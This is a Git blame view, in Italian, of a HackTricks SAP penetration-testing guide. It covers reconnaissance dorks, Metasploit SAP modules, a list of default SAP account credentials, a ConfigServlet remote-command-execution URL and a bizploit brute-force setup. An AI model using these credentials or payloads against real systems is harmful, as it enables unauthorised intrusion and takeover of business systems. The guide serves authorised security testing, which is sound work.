Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-29 08:01:00 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-sap.md

326 lines
25 KiB
Markdown
Raw Normal View History

Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
<details>
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
Translated to Italian
2024-02-10 13:03:23 +00:00
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
</details>
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
{% embed url="https://websec.nl/" %}
Ad hacktricks sponsoring
2022-04-28 16:01:33 +00:00
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
# Introduzione su SAP
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
SAP sta per Sistemi Applicativi e Prodotti in Elaborazione Dati. SAP, per definizione, è anche il nome del software ERP \(Enterprise Resource Planning\) così come il nome dell'azienda.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
Il sistema SAP è composto da diversi moduli completamente integrati, che coprono praticamente ogni aspetto della gestione aziendale.
Ogni istanza SAP \(o SID\) è composta da tre livelli: database, applicazione e presentazione\), ogni paesaggio di solito è composto da quattro istanze: sviluppo, test, QA e produzione.
Ciascuno dei livelli può essere sfruttato fino a un certo punto, ma il maggior effetto può essere ottenuto **attaccando il database**.
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
Ogni istanza SAP è divisa in client. Ognuno ha un utente SAP\*, l'equivalente dell'applicazione di "root".
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
Alla creazione iniziale, questo utente SAP\* riceve una password predefinita: "060719992" \(altre password predefinite di seguito\).
Translated to Italian
2024-02-10 13:03:23 +00:00
Saresti sorpreso se sapessi quanto spesso queste **password non vengono cambiate negli ambienti di test o sviluppo**!
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
Prova ad ottenere l'accesso alla shell di qualsiasi server utilizzando l'username &lt;SID&gt;adm.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
Il Brute forcing può aiutare, tuttavia può esserci un meccanismo di blocco dell'account.
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
# Scoperta
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
> La sezione successiva è principalmente da [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) dall'utente shipcod3!
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Controlla il Campo di Applicazione o il Programma Breve per il testing. Prendi nota dei nomi host o delle istanze di sistema per connettersi a SAP GUI.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Utilizza OSINT \(open source intelligence\), Shodan e Google Dorks per controllare file, sottodomini e informazioni interessanti se l'applicazione è esposta su Internet o pubblica:
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
Translated to Italian
2024-02-10 13:03:23 +00:00
* Ecco come appare [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
![Schermata di accesso SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Utilizzare nmap per controllare le porte aperte e i servizi conosciuti \(router sap, webdynpro, servizi web, server web, ecc.\)
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Eseguire il crawling degli URL se è in esecuzione un server web.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Fuzzare le directory \(puoi utilizzare Burp Intruder\) se ci sono server web su determinate porte. Ecco alcuni buoni elenchi di parole forniti dal Progetto SecLists per trovare Percorsi ICM SAP predefiniti e altre directory o file interessanti:
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Utilizzare il modulo ausiliario SAP SERVICE DISCOVERY di Metasploit per enumerare istanze/servizi/componenti SAP:
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Translated to Italian
2024-02-10 13:03:23 +00:00
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
## Test del client Thick / SAP GUI
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
Ecco il comando per connettersi a SAP GUI `sapgui <nome host del server SAP> <numero di sistema>`
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Verifica delle credenziali predefinite \(Nella tassonomia di valutazione delle vulnerabilità di Bugcrowd, questo è considerato come P1 -&gt; Configurazione errata della sicurezza del server \| Utilizzo di credenziali predefinite \| Server di produzione\):
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Esegui Wireshark e autenticati al client \(SAP GUI\) utilizzando le credenziali ottenute poiché alcuni client trasmettono le credenziali senza SSL. Ci sono due plugin noti per Wireshark che possono analizzare gli header principali utilizzati dal protocollo SAP DIAG: il plugin di dissezione SAP di SecureAuth Labs e il plugin SAP DIAG di Positive Research Center.
* Controlla le scalate di privilegi come l'utilizzo di alcuni codici di transazione SAP \(tcodes\) per gli utenti a basso privilegio:
Translated to Italian
2024-02-10 13:03:23 +00:00
* SU01 - Per creare e mantenere gli utenti
* SU01D - Per visualizzare gli utenti
* SU10 - Per la manutenzione di massa
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* SU02 - Per la creazione manuale di profili
Translated to Italian
2024-02-10 13:03:23 +00:00
* SM19 - Audit di sicurezza - configurazione
* SE84 - Sistema informativo per le autorizzazioni SAP R/3
* Verifica se puoi eseguire comandi di sistema / eseguire script nel client.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Verifica se puoi eseguire XSS su BAPI Explorer
Translated to Italian
2024-02-10 13:03:23 +00:00
# Test dell'interfaccia web
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Esegui lo spidering degli URL \(vedi fase di scoperta\).
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Fai fuzzing degli URL come nella fase di scoperta. Ecco come appare [http://SAP:50000/index.html](http://sap:50000/index.html):
Translated to Italian
2024-02-10 13:03:23 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
![Pagina Iniziale SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
Translated to Italian
2024-02-10 13:03:23 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Cerca vulnerabilità web comuni \(Fai riferimento all'OWASP Top 10\) poiché ci sono vulnerabilità come XSS, RCE, XXE, ecc. in alcuni punti.
Translated to Italian
2024-02-10 13:03:23 +00:00
* Dai un'occhiata alla metodologia di Jason Haddix [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) per testare le vulnerabilità web.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* Bypass di autenticazione tramite manipolazione dei verbi? Forse :\)
* Apre `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` quindi premi il pulsante “Scegli” e poi nella finestra aperta premi “Cerca”. Dovresti essere in grado di vedere un elenco di utenti SAP \(Riferimento alla vulnerabilità: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Le credenziali vengono inviate tramite HTTP? Se sì, viene considerato come P3 in base alla [Tassonomia di Valutazione delle Vulnerabilità di Bugcrowd](https://bugcrowd.com/vulnerability-rating-taxonomy): Autenticazione e Gestione Sessioni Interrotte \| Funzione di Accesso Debole su HTTP. Suggerimento: Dai un'occhiata anche a [http://SAP:50000/startPage](http://sap:50000/startPage) o ai portali di accesso :\)
Translated to Italian
2024-02-10 13:03:23 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
![Pagina di Avvio SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
Translated to Italian
2024-02-10 13:03:23 +00:00
* Prova `/irj/go/km/navigation/` per possibili elenchi di directory o bypass dell'autenticazione
* [http://SAP/sap/public/info](http://sap/sap/public/info) contiene alcune informazioni interessanti:
Fix multiple typos and fix some images/formatting on pentesting-sap - Fix multiple smaller typos - pentesting-sap: Replace Github image links with the correct raw URL in order to render them correctly. Also replace the alt text to a more accurate description and format an XML answer as correct XML to better display it.
2021-10-30 12:23:41 +00:00
```xml
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
Translated to Italian
2024-02-10 13:03:23 +00:00
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
</SOAP-ENV:Envelope>
```
Translated to Italian
2024-02-10 13:03:23 +00:00
# Attacco!
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
* Verifica se viene eseguito su server o tecnologie obsolete come Windows 2000.
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Pianifica i possibili exploit / attacchi, ci sono molti moduli Metasploit per la scoperta di SAP \(moduli ausiliari\) e exploit:
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```text
msf > search sap
Matching Modules
================
Translated to Italian
2024-02-10 13:03:23 +00:00
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Prova a utilizzare alcuni exploit noti (controlla Exploit-DB) o attacchi come il vecchio ma affidabile "Esecuzione remota di codice di ConfigServlet SAP" nel Portale SAP:
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
![RCE del Servlet di Configurazione SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* Prima di eseguire il comando `start` nello script bizploit nella fase di Discovery, puoi anche aggiungere quanto segue per eseguire l'assessment delle vulnerabilità:
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
```text
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
```
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
# Altri Strumenti Utili per il Testing
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Strumento Powershell per valutare la sicurezza di SAP
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* [Burp Suite](https://portswigger.net/burp) - indispensabile per il fuzzing delle directory e le valutazioni della sicurezza web
Translated to Italian
2024-02-10 13:03:23 +00:00
* [pysap](https://github.com/SecureAuthCorp/pysap) - Libreria Python per creare pacchetti di protocollo di rete SAP
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Aiuta nmap a rilevare SAP/ERP
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated to Italian
2024-02-10 13:03:23 +00:00
## Riferimenti
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* [Pentesting SAP Utilizzando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
Translated to Italian
2024-02-10 13:03:23 +00:00
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - uno script per automatizzare parzialmente Bizploit
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* [Configurazione della sicurezza SAP NetWeaver ABAP parte 3: Password predefinite per l'accesso all'applicazione](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
Translated to Italian
2024-02-10 13:03:23 +00:00
* [Elenco dei codici di transazione ABAP relativi alla sicurezza SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* [Violazione di SAP Portal](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-04-07 22:58:27 +00:00
* [Top 10 delle vulnerabilità e degli attacchi SAP più interessanti](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
* [Valutazione della sicurezza degli ecosistemi SAP con bizploit: Scoperta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
GitBook: [master] 2 pages modified
2020-11-23 18:00:25 +00:00
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/
2024-05-02 15:07:01 +00:00
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
